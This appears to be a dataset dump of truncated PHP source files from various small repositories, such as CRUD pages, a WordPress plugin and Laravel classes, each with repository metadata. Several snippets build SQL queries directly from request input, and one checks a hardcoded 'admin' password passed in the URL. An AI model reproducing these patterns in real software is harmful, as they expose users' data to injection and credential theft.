<?php session_start(); require_once 'config.php'; $nev=$ev=$msg=""; //print_r($_POST); if(isset($_POST['mentes']) && $_POST['nev']!=null && $_POST['ev']!=null){ $nev=$_POST['nev']; $ev=$_POST['ev']; $sql="insert into munkasok values (null,'{$nev}',{$ev})"; $stmt=$db->exec($sql); if($stmt){ ...
true
3a06038b40bbddd63a08bbf82594a885f8c41d2e
PHP
oyina/Note-Taker
/note.php
UTF-8
9,704
2.65625
3
[]
no_license
<?php /* Plugin Name: Note Taker Plugin URI: http://oyindesigns.com Description: Takes Notes on a page and saves them with ajax Version: 0.0.1 Author: Oyin Abatan Author URI: http://oyindesigns.com License: GPL2 License URI: https://www.gnu.org/licenses/gpl-2.0.html */ // Calls Notes if Template Pages f...
true
bb49b0626ec16e9efcedaf342d2ed279b06f7e9a
PHP
dollygupta/HospitalManagement
/homepage.php
UTF-8
2,209
2.734375
3
[]
no_license
<?php $user_type= $_GET["user_type"]; $pwd= $_GET["pwd"]; $email= $_GET["email"]; $result=""; session_start(); $_SESSION["username"] = $email; try { // Connect to the database. include('connection.php'); if($user_type=="admin") { if($pwd=="admin"...
true
ca5afefee425afb165456455e5540a1350b576d6
PHP
recca0120/laravel-terminal
/src/Console/Commands/Vi.php
UTF-8
1,794
2.828125
3
[ "MIT" ]
permissive
<?php namespace Recca0120\Terminal\Console\Commands; use Illuminate\Contracts\Filesystem\FileNotFoundException; use Illuminate\Filesystem\Filesystem; use InvalidArgumentException; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputOption; class Vi extends Command { /** ...
true
bd8050fb681c8a70ae9afc0ad9a55ed185b4c997
PHP
benjaminniess/roundnet-scores-keeper-core
/app/Game_Point.php
UTF-8
1,794
2.515625
3
[]
no_license
<?php namespace App; use Illuminate\Database\Eloquent\Model; use Carbon\Carbon; use Illuminate\Notifications\Action; class Game_Point extends Model { protected $table = 'game_points'; // public function game() { return $this->belongsTo('\App\Game', 'game_id')->first(); } /** * ...
true
f90c12f4b8b150d9e934318c2b8530a23b0f910b
PHP
adnanqurais/cariperkakas
/laravel/app/Http/Controllers/MailController.php
UTF-8
1,328
2.75
3
[ "MIT" ]
permissive
<?php namespace App\Http\Controllers; use Input; use DB; use Session; use PHPMailer; class MailController extends Controller { public function getmailtest(){ $config=DB::table('configuration')->first(); //PHPMailer Object $mail = new PHPMailer; // ...
true
0620e71d4150d3a9f8c6f8d127c1fbfa3bbc4a92
PHP
lucasmartines/estudo-api
/app/Http/Controllers/API/CategoriaController.php
UTF-8
949
2.546875
3
[]
no_license
<?php namespace App\Http\Controllers\API; use App\Http\Controllers\Controller; use App\Categoria; use Illuminate\Http\Request; class CategoriaController extends Controller{ public function index(){ return Categoria::all(); } public function store(Request $req){ $categoria = $req->all(); ...
true
b43bbf76653a60353190d5c14bee36606aba1c45
PHP
durtto/pxp
/sis_workflow/modelo/MODTabla.php
UTF-8
18,243
2.546875
3
[]
no_license
<?php /** *@package pXP *@file gen-MODTabla.php *@author (admin) *@date 07-05-2014 21:39:40 *@description Clase que envia los parametros requeridos a la Base de datos para la ejecucion de las funciones, y que recibe la respuesta del resultado de la ejecucion de las mismas */ class MODTabla extends MODbase{ functio...
true
d8e7c9a7a50d827c37306ce260ce323b9d33cf15
PHP
nyitraibence/launch-subscribe
/app/SQLiteSubscribers.php
UTF-8
1,830
3.28125
3
[ "LicenseRef-scancode-public-domain" ]
permissive
<?php namespace App; /** * PHP SQLite Insert methods */ class SQLiteSubscribers { /** * PDO object * @var \PDO */ private $pdo; /** * Initialize the object with a specified PDO object * @param \PDO $pdo */ public function __construct($pdo) { $this->pdo = $pdo;...
true
b2bedb1d04fc468291737d3cc6457c7d82dd3147
PHP
FernleafSystems/ApiWrappers-Email
/src/Drip/People/RetrievePageConsumer.php
UTF-8
2,065
2.640625
3
[]
no_license
<?php namespace FernleafSystems\ApiWrappers\Email\Drip\People; trait RetrievePageConsumer { /** * @var RetrievePage */ private $oRetrievePager; /** * Use this to apply filters to the pager * @return RetrievePage */ public function getPageRetriever() { if ( !isset( $this->oRetrievePager ) ) { $thi...
true
db6d38f7f425349a412637c5445a3c4da825c341
PHP
yayajojo/PHP-Practices
/DesignPattern_Practice/Adapter/interface and its classes/EReaderInterface.php
UTF-8
358
3.109375
3
[]
no_license
<?php namespace App\Interfaces; interface EReaderInterface { public function turnOn(); public function pressNextBtn(); } class Kindle implements EReaderInterface { public function turnOn() { var_dump('turning on the kindle!'); } public function pressNextBtn() { var_dump('press t...
true
ffc40686bb0a5d141a2f5b0d370677f014fc2ce6
PHP
monty1976/basis_install_laravel
/app/Commands/ShowParentCommand.php
UTF-8
2,228
2.765625
3
[ "MIT" ]
permissive
<?php namespace App\Commands; use App\Commands\Command; use Laracasts\Utilities\JavaScript\JavaScriptFacade; use App\Nursery\NurseryRepositoryInterface; use App\User\UserRepositoryInterface; use Illuminate\Contracts\Bus\SelfHandling; class ShowParentCommand extends Command implements SelfHandling { /** * C...
true
66e95f6691acfa5459ba33e939809b1e18fd99c5
PHP
Virtualizacion-BIT/schedulePatients
/Patients/Patient.php
UTF-8
1,825
3.21875
3
[]
no_license
<?php include('../config/config.php'); include('../config/Database.php'); class Patient{ public $conn; function __construct() { $db = new Database(); $this->conn = $db->connectToDatabase(); } function save($params){ $firstName = $params['firstName']; $lastName = ...
true
a8bbec1dc04c7cfd6660dc1ec0706b20777f22bb
PHP
sedvis/PayseraTask
/src/Models/Transaction.php
UTF-8
2,142
3.03125
3
[]
no_license
<?php namespace Paysera\Models; class Transaction { const CASH_IN = "cash_in"; const CASH_OUT = "cash_out"; private $id; private $date; private $userId; private $userType; private $transactionType; private $transactionAmount; private $currency; /** * Transaction co...
true
5e2578bfea948ef0c624be157da07bec1742f35a
PHP
igortrinidad/weplanner-PLACES-API
/app/Models/PlaceTracking.php
UTF-8
1,213
2.515625
3
[]
no_license
<?php namespace App\Models; use App\Models\Traits\Uuids; use Illuminate\Database\Eloquent\Model; use Prettus\Repository\Contracts\Transformable; use Prettus\Repository\Traits\TransformableTrait; class PlaceTracking extends Model implements Transformable { use TransformableTrait, Uuids; /** * The table ...
true
af8686776c682e43d122c410f1eda10054912091
PHP
kimniyom/transport
/models/Typecar.php
UTF-8
829
2.53125
3
[ "BSD-3-Clause" ]
permissive
<?php namespace app\models; use Yii; /** * This is the model class for table "typecar". * * @property integer $id * @property integer $type_id * @property string $type_name */ class Typecar extends \yii\db\ActiveRecord { /** * @inheritdoc */ public static function tableName() { retur...
true
ed3d7c7aed0421bf80a3132ffc78b7366959e8d6
PHP
Mooncane/unionweb
/controllers/vtcare.php
UTF-8
11,094
2.53125
3
[]
no_license
<?php class vtcare extends Controller { function __construct() { parent::__construct(); require 'models/vtcare_model.php'; $this->model = new vtcare_model(); $this->view->js = array('vtcare/js/default.js'); } public function index() { //$this->view->userlist = $model->db->select('SELECT *...
true
98ab28ddee9c065c2ceb7df4bcd33adb44a29f4d
PHP
jakflo/menu
/app/presenters/HomepagePresenter.php
UTF-8
1,733
2.671875
3
[]
no_license
<?php namespace App\Presenters; use App\Model\cats_manager; use Nette\Application\UI; use Nette\Security\User; use Nette\Security\SimpleAuthenticator; class HomepagePresenter extends UI\Presenter{ protected function createComponentLoginForm(){ $form = new UI\Form; $form->addText('name...
true
18b027754eb50c86dd7d860d0de7bc63ca4b3580
PHP
iatanasov77/vs-application-library
/src/Vankosoft/ApplicationBundle/EventListener/ThemeChangeListener.php
UTF-8
1,775
2.515625
3
[ "MIT" ]
permissive
<?php namespace Vankosoft\ApplicationBundle\EventListener; use Symfony\Component\HttpKernel\Event\RequestEvent; use Sylius\Bundle\ThemeBundle\Context\ThemeContextInterface; use Sylius\Bundle\ThemeBundle\Repository\ThemeRepositoryInterface; use Vankosoft\ApplicationBundle\Component\Context\ApplicationContextInte...
true
31b8b5f34376be6e5e807de6baefdf401780e1e7
PHP
IvanDandrea86/php_CORS_docker
/application/source/create.php
UTF-8
3,721
2.59375
3
[]
no_license
<?php include "config.php"; if(isset($_POST['submit'])) { $username= $_POST["Username"]; $email= $_POST["Email"]; $password= $_POST["Password"]; $firstname= $_POST["FirstName"]; $lastname= $_POST["LastName"]; $sql="INSERT INTO Persons VALUES ( UUID(),'$username','$email','$password','$lastname','$...
true
8a8b45e3e55f5dd8b78fdfa1b3f1e779af3db6e2
PHP
johnroyer/unittest-for-raphahsu
/02/CheckerTest.php
UTF-8
680
2.6875
3
[]
no_license
<?php require __DIR__ . '/checker.php'; use PHPUnit\Framework\TestCase; class CheckerTest extends TestCase { public function setUp() { } public function tearDown() { } /** * @dataProvider ScoreRangeProvider */ public function testInputRange($score, $expected) { ...
true
2b57066ad657b0a65058038e49cb02e3c1e35c0b
PHP
mauricioanjos/EnviaPHP
/envia.php
MacCentralEurope
325
3.203125
3
[]
no_license
<?php header('Content-Type: text/html; charset=utf-8'); //Meta Charset no Arquivo (UFT-8) //Cria varivel com valores inseridos no POST $nome = $_POST['nome']; $sobrenome = $_POST['sobrenome']; //Imprime o resultado $conteudo = "Ol Sr. ".$nome." ".$sobrenome; echo $conteudo; ?>...
true
633af0c182f8857d8ff481437997f2e7364fa430
PHP
tadeu390/cursos
/projetos/curso-laravel-relationships/app/Http/Controllers/PolymorphicController.php
UTF-8
1,124
2.5625
3
[ "MIT" ]
permissive
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Models\City; use App\Models\Country; use App\Models\State; class PolymorphicController extends Controller { public function polymorphic() { $city = City::find(1); echo $city->name; $comments = $city->comments;...
true
7dfceb620cb0d68c777a4e9504f132a01e76623d
PHP
gchevalley/TransportASBV
/admin/contact/contact.interface.php
UTF-8
366
2.765625
3
[]
no_license
<?php interface Contact { public function get_id(); // return int public function get_nom_complet(); // return array regroupant si existe prenom+nom public function get_adresse(); // return un array avec adresse, (adresse_complement), npa, ville, (pays) public function get_telephone(); // return un array ave...
true
11aacf4c6c1c3cda6f3602a8321fce03de4148f5
PHP
zkerkeb/pphp
/D01/ex11/do_op_2.php
UTF-8
2,120
3.28125
3
[]
no_license
#!/usr/bin/php <?php if($argc != 2) { echo "Incorrect Parameters"; return; } if (strpos($argv[1], "+")) { $after = substr($argv[1],strrpos(trim($argv[1]),"+")); $before = substr($argv[1], 0,strrpos(trim($argv[1]),"+")); $after = str_replace("+", " ", $after); $before = str_replace("+", " ", $before); $after = ...
true
ebcb0243c1edc74daf1e941811b0a7aa4d7d168c
PHP
jovanovicmilica/reid
/models/getCard.php
UTF-8
994
2.546875
3
[]
no_license
<?php require_once "konekcija.php"; $user=$_SESSION['user']; $idUser=$user['idUser']; $upit="SELECT * FROM basket b INNER JOIN price p ON b.idPrice=p.idPrice INNER JOIN product pr ON p.idProduct=pr.idProduct INNER JOIN size s on b.idSize=s.idSize WHERE idUser=:id AND ordered=0"; $priprema=$...
true
50730a5f00815d6ffbbfa9fb5f528ddcef826ae3
PHP
hannehue/WebTech
/lec03/examples/ex06_dictionary.php
UTF-8
259
3.34375
3
[]
no_license
<?php $a = ["one" => 1, "two" => 2]; echo $a["one"]; echo "\n"; array_push($a, 3); var_dump($a); $a = ["one" => 1, "two" => 2]; $b = ["two" => "two", "three" => "three"]; var_dump(array_merge($a, $b)); var_dump($a + $b); echo(array_key_exists("one",$a));
true
1f159b5dcc8a468904d35a2acde1373a4645f282
PHP
Crisia/Proyecto
/app/controllers/pending_controller.php
UTF-8
634
2.6875
3
[]
no_license
<?php class PendingController { public function index() { // we store all the users in a variable $pending = Pending::all(); require_once('app/views/pending/index.php'); } public function show() { // we expect a url of form ?controller=users&action=show&id=x // without an id...
true
ea6c1304764d96b5cda253652bda9f7ecd62b8b3
PHP
SonicZentropy/bbsupportbackpack
/database/migrations/2017_06_26_140537_create_training_sessions_table.php
UTF-8
980
2.640625
3
[ "MIT" ]
permissive
<?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateTrainingSessionsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('traini...
true
9c0a8114d12014c8a26e20aa81c6e863f86e20f2
PHP
shadoot/sidd
/models/FaCarrera.php
UTF-8
1,148
2.53125
3
[ "BSD-3-Clause" ]
permissive
<?php namespace app\models; use Yii; /** * This is the model class for table "fa_carrera". * * @property int $id_Carrera * @property string $Clave * @property string $Nombre * * @property FhAlumno[] $fhAlumnos */ class FaCarrera extends \yii\db\ActiveRecord { /** * {@inheritdoc} */ public s...
true
0ee444497d78b5c3ab078c3e37622e80161fdaa6
PHP
blemoine/slashbug
/app/Vendor/mock2/OngoingStubbing2.php
UTF-8
761
2.5625
3
[]
no_license
<?php class OngoingStubbing2 { protected $call; protected $matcher; public function __construct(MethodCall2 $call, PHPUnit_Framework_MockObject_Matcher_Invocation $matcher) { $this->call = $call; $this->matcher = $matcher; } public function thenReturn($value) { $this->_mu...
true